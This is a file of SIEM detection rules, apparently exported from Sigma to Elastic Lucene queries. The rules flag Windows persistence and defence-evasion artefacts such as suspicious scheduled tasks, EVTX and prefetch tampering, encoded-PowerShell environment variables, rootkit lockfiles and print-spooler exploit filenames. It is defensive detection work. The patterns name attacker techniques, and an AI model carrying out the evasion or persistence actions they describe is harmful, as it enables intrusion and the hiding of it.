{"description": "Detects the creation of new files with the \".evtx\" extension in non-common locations. Which could indicate tampering with default evtx locations in order to evade security controls", "author": ["D3F7A5105"], "enabled": false, "false_positives": ["Admin activity", "Backup activity"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "6c3fa7ff-e812-c0f3-5375-79322a8b3fae", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "EVTX Created In Uncommon Location", "query": "(file.path.text:*.evtx AND (NOT (((file.path.text:C\\:\\\\Windows\\\\System32\\\\winevt\\\\Logs\\\\*)) OR ((file.path.text:C\\:\\\\ProgramData\\\\Microsoft\\\\Windows\\\\Containers\\\\BaseImages\\\\* AND file.path.text:*\\\\Windows\\\\System32\\\\winevt\\\\Logs\\\\)) OR ((process.executable.text:(\"C:\\Windows\\explorer.exe\" OR \"C:\\Windows\\system32\\dllhost.exe\"))))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects the creation of new Outlook form which can contain malicious code", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "90a9e38d-ea7e-6923-94f6-03df79dc8cae", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Outlook Form Installation", "query": "(process.executable:*\\\\outlook.exe AND file.path:*\\\\appdata\\\\local\\\\microsoft\\\\FORMS\\\\*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1137"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1137", "name": "Office Application Startup", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Tobias Michalski"], "license": ""}
{"description": "Detects the creation of recent element file that points to an .ISO, .IMG, .VHD or .VHDX file as often used in phishing attacks. This can be a false positive on server systems but on workstations users should rarely mount .iso or .img files.", "enabled": false, "false_positives": ["Cases in which a user mounts an image file for legitimate reasons"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "7916f230-f0cd-8f67-e7df-da0914a033e0", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "ISO or Image Mount Indicator in Recent Files", "query": "(file.path:(*.iso.lnk OR *.img.lnk OR *.vhd.lnk OR *.vhdx.lnk) AND file.path:*\\\\Microsoft\\\\Windows\\\\Recent\\\\*)", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", "", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects the creation of scheduled tasks in user session", "enabled": false, "false_positives": ["Administrative activity", "Software installation"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "3a5a71be-e5f9-cb59-dec6-456a393b685e", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Scheduled Task Creation", "query": "((process.executable.text:*\\\\schtasks.exe AND process.command_line.text:*\\ \\/create\\ *) AND (NOT (user.name:(*AUTHORI* OR *AUTORI*))))", "meta": {"from": "1m"}, "severity": "low", "tags": ["Privilege Escalation", "T1053"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1053", "name": "Scheduled Task/Job", "reference": ""}]}, {"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1053", "name": "Scheduled Task/Job", "reference": ""}]}, {"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1053", "name": "Scheduled Task/Job", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects the creation of scheduled tasks that involves a temporary folder and runs only once", "enabled": false, "false_positives": ["Administrative activity", "Software installation"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f50c6fec-a940-9013-444a-6f390eff692e", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Scheduled Task Creation Involving Temp Folder", "query": "(process.executable.text:*\\\\schtasks.exe AND process.command_line.text:*\\ \\/create\\ * AND process.command_line.text:*\\ \\/sc\\ once\\ * AND process.command_line.text:*\\\\Temp\\\\*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1053"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1053", "name": "Scheduled Task/Job", "reference": ""}]}, {"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1053", "name": "Scheduled Task/Job", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects the creation of suspcious binary files inside the \"\\windows\\system32\\spool\\drivers\\color\\\" as seen in the blog referenced below", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "3f0f3588-f6a1-f22b-9a5a-6f9bfcdc6118", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Drop Binaries Into Spool Drivers Color Folder", "query": "(file.path.text:C\\:\\\\Windows\\\\System32\\\\spool\\\\drivers\\\\color\\\\* AND file.path.text:(*.dll OR *.exe OR *.sys))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects the creation of suspicious accounts similar to ANONYMOUS LOGON, such as using additional spaces. Created as an covering detection for exclusion of Logon Type 3 from ANONYMOUS LOGON accounts.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "6597d9a3-88c4-f56c-a44c-bc40e2eb39d2", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Windows ANONYMOUS LOGON Local Account Created", "query": "(winlog.channel:\"Security\" AND winlog.event_id:\"4720\" AND winlog.event_data.SamAccountName:*ANONYMOUS* AND winlog.event_data.SamAccountName:*LOGON*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1136", "T1136"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1136", "name": "Create Account", "reference": ""}, {"id": "T1136", "name": "Create Account", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["James Pemberton / @4A616D6573"], "license": ""}
{"description": "Detects the creation of suspicious files and folders inside the user's AppData folder but not inside any of the common and well known directories (Local, Romaing, LocalLow). This method could be used as a method to bypass detection who exclude the AppData folder in fear of FPs", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d7fc52c6-8419-3824-9f0b-a6f50fadb9d3", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Creation Suspicious File In Uncommon AppData Folder", "query": "((file.path.text:*\\\\AppData\\\\* AND file.path.text:(*.exe OR *.dll OR *.bat OR *.vbe OR *.vbs OR *.msi OR *.iso OR *.lnk OR *.cmd OR *.ps1 OR *.psm1 OR *.hta OR *.cpl OR *.scr)) AND (NOT (file.path.text:(*\\\\AppData\\\\Local\\\\* OR *\\\\AppData\\\\LocalLow\\\\* OR *\\\\AppData\\\\Roaming\\\\*))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["Internal Research"], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects the creation of taskmgr.exe process in context of LOCAL_SYSTEM", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "1ae53430-295f-ed49-ba6f-599bf5d4c263", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Taskmgr as LOCAL_SYSTEM", "query": "(user.name:(NT\\ AUTHORITY\\\\SYSTEM* OR AUTORITE\\ NT\\\\Sys*) AND process.executable:*\\\\taskmgr.exe)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1036"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1036", "name": "Masquerading", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects the creation of tasks from processes executed from suspicious locations", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "fee7af81-50c0-0779-fac3-9b04e30f8634", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Scheduled Task Write to System32 Tasks", "query": "(file.path:*\\\\Windows\\\\System32\\\\Tasks* AND process.executable:(*\\\\AppData\\\\* OR *C\\:\\\\PerfLogs* OR *\\\\Windows\\\\System32\\\\config\\\\systemprofile*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1053"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1053", "name": "Scheduled Task/Job", "reference": ""}]}, {"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1053", "name": "Scheduled Task/Job", "reference": ""}]}], "version": 1, "references": ["Internal Research"], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects the creation of the file \"rootlog\" which is used by the TripleCross rootkit as a way to check if the backdoor is already running.", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "ee8f6b53-63af-3151-330d-e6e573194e7b", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Triple Cross eBPF Rootkit Default LockFile", "query": "file.path.text:\"/tmp/rootlog\"", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects the creation of the file \"rootlog\" which is used by the TripleCross rootkit as a way to check if the backdoor is already running.", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "ee8f6b53-63af-3151-330d-e6e573194e7b", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Triple Cross eBPF Rootkit Default LockFile", "query": "file.path:\"\\/tmp\\/rootlog\"", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects the creation of the PROCEXP152.sys file in the application-data local temporary folder. This driver is used by Sysinternals Process Explorer but also by KDU () or Ghost-In-The-Logs (), which uses KDU.", "enabled": false, "false_positives": ["Other legimate tools using this driver and filename (like Sysinternals). Note - Clever attackers may easily bypass this detection by just renaming the driver filename. Therefore just Medium-level and don't rely on it."], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "cf926556-8d4e-c66d-ad8b-f300be7cf6ac", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious PROCEXP152.sys File Created In TMP", "query": "((file.path:*\\\\AppData\\\\Local\\\\Temp\\\\* AND file.path:*PROCEXP152.sys) AND (NOT (process.executable:(*\\\\procexp64.exe* OR *\\\\procexp.exe* OR *\\\\procmon64.exe* OR *\\\\procmon.exe*))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["xknow (@xknow_infosec)", "xorxes (@xor_xes)"], "license": ""}
{"description": "Detects the creation of Usage Log files by the CLR (clr.dll). These files are named after the executing process once the assembly is finished executing for the first time in the (user) session context.", "author": ["frack113", "omkar72", "oscd.community", "Wojciech Lesicki"], "enabled": false, "false_positives": ["Rundll32.exe with zzzzInvokeManagedCustomActionOutOfProc in command line and msiexec.exe as parent process - "], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "4356da61-78af-61ef-b987-8ffcc7abb83c", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "NET CLR Binary Execution Usage Log Artifact", "query": "file.path.text:(*\\\\UsageLogs\\\\cmstp.exe.log OR *\\\\UsageLogs\\\\cscript.exe.log OR *\\\\UsageLogs\\\\mshta.exe.log OR *\\\\UsageLogs\\\\msxsl.exe.log OR *\\\\UsageLogs\\\\regsvr32.exe.log OR *\\\\UsageLogs\\\\rundll32.exe.log OR *\\\\UsageLogs\\\\svchost.exe.log OR *\\\\UsageLogs\\\\wscript.exe.log OR *\\\\UsageLogs\\\\wmic.exe.log)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1218", "name": "System Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", "", "", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects the creation of user-specific or system-wide environement variables via the registry. Which contains suspicious commands and strings", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "0b6afd75-d324-0659-785e-c1201fa56087", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Environment Variable Has Been Registered", "query": "((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*\\\\Environment\\\\*) AND ((winlog.event_data.Details:(\"powershell\" OR \"pwsh\")) OR (winlog.event_data.Details:(*\\\\AppData\\\\Local\\\\Temp\\\\* OR *C\\:\\\\Users\\\\Public\\\\* OR *TVqQAAMAAAAEAAAA* OR *TVpQAAIAAAAEAA8A* OR *TVqAAAEAAAAEABAA* OR *TVoAAAAAAAAAAAAA* OR *TVpTAQEAAAAEAAAA* OR *SW52b2tlL* OR *ludm9rZS* OR *JbnZva2Ut* OR *SQBuAHYAbwBrAGUALQ* OR *kAbgB2AG8AawBlAC0A* OR *JAG4AdgBvAGsAZQAtA*)) OR (winlog.event_data.Details:(SUVY* OR SQBFAF* OR SQBuAH* OR cwBhA* OR aWV4* OR aQBlA* OR R2V0* OR dmFy* OR dgBhA* OR dXNpbm* OR H4sIA* OR Y21k* OR cABhAH* OR Qzpc* OR Yzpc*))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects the creation or modification of a powershell profile which could indicate suspicious activity as the profile can be used as a mean of persistence", "enabled": false, "false_positives": ["System administrator create Powershell profile manually"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "e40b40f2-d325-903e-db71-b4a776171504", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "PowerShell Profile Modification", "query": "file.path.text:(*\\\\Microsoft.PowerShell_profile.ps1 OR *\\\\WindowsPowerShell\\\\profile.ps1 OR *\\\\PowerShell\\\\profile.ps1 OR *\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\profile.ps1 OR *\\\\Program\\ Files\\\\PowerShell\\\\7\\\\profile.ps1)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Privilege Escalation", "T1546"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1546", "name": "Event Triggered Execution", "reference": ""}]}, {"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1546", "name": "Event Triggered Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["HieuTT35", "Nasreddine Bencherchali"], "license": ""}
{"description": "Detects the creation or modification of a vscode related powershell profile which could indicate suspicious activity as the profile can be used as a mean of persistence", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Legitimate use of the profile by developers or administrators"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f30096b3-19de-b46c-b261-5e2b39c33045", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "VsCode Powershell Profile Modification", "query": "file.path.text:*\\\\Microsoft.VSCode_profile.ps1", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Privilege Escalation", "T1546"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1546", "name": "Event Triggered Execution", "reference": ""}]}, {"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1546", "name": "Event Triggered Execution", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects the creation or patching of potential malicious RoleBinding. This includes RoleBindings and ClusterRoleBinding.", "enabled": false, "false_positives": ["RoleBindings and ClusterRoleBinding being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "RoleBindings and ClusterRoleBinding modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "cdecb17f-f7c2-0477-aefa-263ae85ccf81", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Google Cloud Kubernetes RoleBinding", "query": "gcp.audit.method_name:(io.k8s.authorization.rbac.v*.clusterrolebindings.create OR io.k8s.authorization.rbac.v*.rolebindings.create OR io.k8s.authorization.rbac.v*.clusterrolebindings.patch OR io.k8s.authorization.rbac.v*.rolebindings.patch OR io.k8s.authorization.rbac.v*.clusterrolebindings.update OR io.k8s.authorization.rbac.v*.rolebindings.update OR io.k8s.authorization.rbac.v*.clusterrolebindings.delete OR io.k8s.authorization.rbac.v*.rolebindings.delete)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Credential Access"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", "", "", ""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
{"description": "Detects the creation or patching of potential malicious RoleBinding/ClusterRoleBinding.", "enabled": false, "false_positives": ["RoleBinding/ClusterRoleBinding being modified and deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "RoleBinding/ClusterRoleBinding modification from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "67ba2ddc-69bc-a478-23e2-fe86ad6a5abd", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Azure Kubernetes RoleBinding/ClusterRoleBinding Modified and Deleted", "query": "properties.message:(\"MICROSOFT.KUBERNETES\\/CONNECTEDCLUSTERS\\/RBAC.AUTHORIZATION.K8S.IO\\/CLUSTERROLEBINDINGS\\/WRITE\" OR \"MICROSOFT.KUBERNETES\\/CONNECTEDCLUSTERS\\/RBAC.AUTHORIZATION.K8S.IO\\/CLUSTERROLEBINDINGS\\/DELETE\" OR \"MICROSOFT.KUBERNETES\\/CONNECTEDCLUSTERS\\/RBAC.AUTHORIZATION.K8S.IO\\/ROLEBINDINGS\\/WRITE\" OR \"MICROSOFT.KUBERNETES\\/CONNECTEDCLUSTERS\\/RBAC.AUTHORIZATION.K8S.IO\\/ROLEBINDINGS\\/DELETE\")", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Credential Access"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", "", "", ""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
{"description": "Detects the creation or removal of a computer. Can be used to detect attacks such as DCShadow via the creation of a new SPN.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "01705d24-0825-d090-0647-54eddd4deb39", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Add or Remove Computer from DC", "query": "(winlog.channel:\"Security\" AND winlog.event_id:(\"4741\" OR \"4743\"))", "meta": {"from": "1m"}, "severity": "low", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Detects the creation or update of a scheduled task to run with \"NT AUTHORITY\\SYSTEM\" privileges", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "0af442a6-73ca-473c-a81c-d33426296972", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Schtasks Creation Or Modification With SYSTEM Privileges", "query": "((process.executable.text:*\\\\schtasks.exe AND process.command_line.text:(*\\ \\/change\\ * OR *\\ \\/create\\ *) AND process.command_line.text:*\\/ru\\ * AND process.command_line.text:(*NT\\ AUT* OR *\\ SYSTEM\\ *)) AND (NOT (process.parent.executable.text:*\\\\AppData\\\\Local\\\\Temp\\\\* AND process.parent.executable.text:*TeamViewer_.exe* AND process.executable.text:*\\\\schtasks.exe AND process.command_line.text:*\\/TN\\ TVInstallRestore*)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1053"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1053", "name": "Scheduled Task/Job", "reference": ""}]}, {"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1053", "name": "Scheduled Task/Job", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects the deactivation and disabling of the Scheduled defragmentation task as seen by Slingshot APT group", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "a97ffee7-faa2-b1ac-1099-be829f48434d", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Defrag Deactivation", "query": "(process.executable.text:*\\\\schtasks.exe AND process.command_line.text:(*\\/delete* OR *\\/change*) AND process.command_line.text:*\\/TN* AND process.command_line.text:*\\\\Microsoft\\\\Windows\\\\Defrag\\\\ScheduledDefrag*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1053"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1053", "name": "Scheduled Task/Job", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "Bartlomiej Czyz (@bczyz1)"], "license": ""}
{"description": "Detects the deactivation and disabling of the Scheduled defragmentation task as seen by Slingshot APT group", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "a97ffee7-faa2-b1ac-1099-be829f48434d", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Defrag Deactivation", "query": "(winlog.channel:\"Security\" AND winlog.event_id:\"4701\" AND winlog.event_data.TaskName:\"\\\\Microsoft\\\\Windows\\\\Defrag\\\\ScheduledDefrag\")", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1053"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1053", "name": "Scheduled Task/Job", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "Bartlomiej Czyz (@bczyz1)"], "license": ""}
{"description": "Detects the default \"UserName\" used by the DiagTrackEoP POC", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "45636599-5870-2c47-2eaa-935d31963242", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "DiagTrackEoP Default Login Username", "query": "(winlog.channel:\"Security\" AND winlog.event_id:\"4624\" AND winlog.event_data.LogonType:\"9\" AND TargetOutboundUserName:\"thisisnotvaliduser\")", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Privilege Escalation"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects the default filename used in PoC code against print spooler vulnerability CVE-2021-1675", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "af2cf5e4-95f9-b6bc-334f-e7f2fc5eb621", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "CVE-2021-1675 Print Spooler Exploitation Filename Pattern", "query": "file.path:*C\\:\\\\Windows\\\\System32\\\\spool\\\\drivers\\\\x64\\\\3\\\\old\\\\1\\\\123*", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Privilege Escalation"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects the deletion of a prefetch file (AntiForensic)", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "6bb6c835-ce36-27fa-5843-bdf3a492f181", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Prefetch File Deletion", "query": "((file.path:C\\:\\\\Windows\\\\Prefetch\\\\* AND file.path:*.pf) AND (NOT (process.executable:\"C\\:\\\\windows\\\\system32\\\\svchost.exe\" AND user.name:(NT\\ AUTHORITY\\\\SYSTEM* OR AUTORITE\\ NT\\\\Sys*))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1070"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1070", "name": "Indicator Removal on Host", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Cedric MAURUGEON"], "license": ""}
{"description": "Detects the deletion of registry keys containing the MSTSC connection history", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "17502594-9007-b68e-15a9-d9f2fb872deb", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Terminal Server Client Connection History Cleared", "query": "((winlog.event_data.EventType:\"DeleteValue\" AND winlog.event_data.TargetObject:*\\\\Microsoft\\\\Terminal\\ Server\\ Client\\\\Default\\\\MRU*) OR (winlog.event_data.EventType:\"DeleteKey\" AND winlog.event_data.TargetObject:*\\\\Microsoft\\\\Terminal\\ Server\\ Client\\\\Servers\\\\*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1070", "T1112"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1070", "name": "Indicator Removal on Host", "reference": ""}, {"id": "T1112", "name": "Modify Registry", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Christian Burkard"], "license": ""}
